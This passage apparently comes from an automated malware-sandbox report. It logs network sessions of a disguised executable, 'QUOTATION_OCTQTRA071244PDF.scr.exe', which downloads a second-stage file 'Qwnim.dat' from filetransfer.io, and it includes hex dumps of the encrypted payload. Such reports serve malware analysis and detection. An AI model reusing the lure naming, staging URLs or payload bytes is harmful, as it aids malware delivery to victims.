2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49852	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:43 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:44 UTC	1074	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:23:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=hc1hr8hdtgbh93so9v84tkjmpl; expires=Fri, 18-Oct-2024 09:23:43 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/9EV86OzjvzKc CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K9eZj9iffDIv06WoIeyZ50CxPAem8HjxU6418WqsEQ6lvW%2BmHq1iTzUI%2FMn8e9l0FHMs%2FZcMfbqiw6jtAjqChMXTYx%2BOFkMRNs%2BZzUTMka5p2d%2BIF%2FjABcTxcJJ2grYF9as%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d64eeb58ce0-EWR
2024-10-04 09:23:44 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 39 45 56 38 36 4f 7a 6a 76 7a 4b 63 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/9EV86OzjvzKc">Please click here to continue</a>.</p>
2024-10-04 09:23:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49855	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:44 UTC	98	OUT	GET /storage/download/9EV86OzjvzKc HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:45 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:23:45 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=09438ffa2502e406373d6766eed9ab20; expires=Fri, 18-Oct-2024 09:23:45 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LtI3eyqn%2F9t8JNlB26vQ35J2MKqAdRmGhqJO0XR3s7qWOo6yYj1KGrTEJZ0yZQKwOxwlpacWoofx4hbc74adoHv2EABOk60nV%2BYVhuJnNMFGeGx%2FNqj23zWAdKhe8RmZh0aOxdnZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41d6eec50426d-EWR
2024-10-04 09:23:45 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: 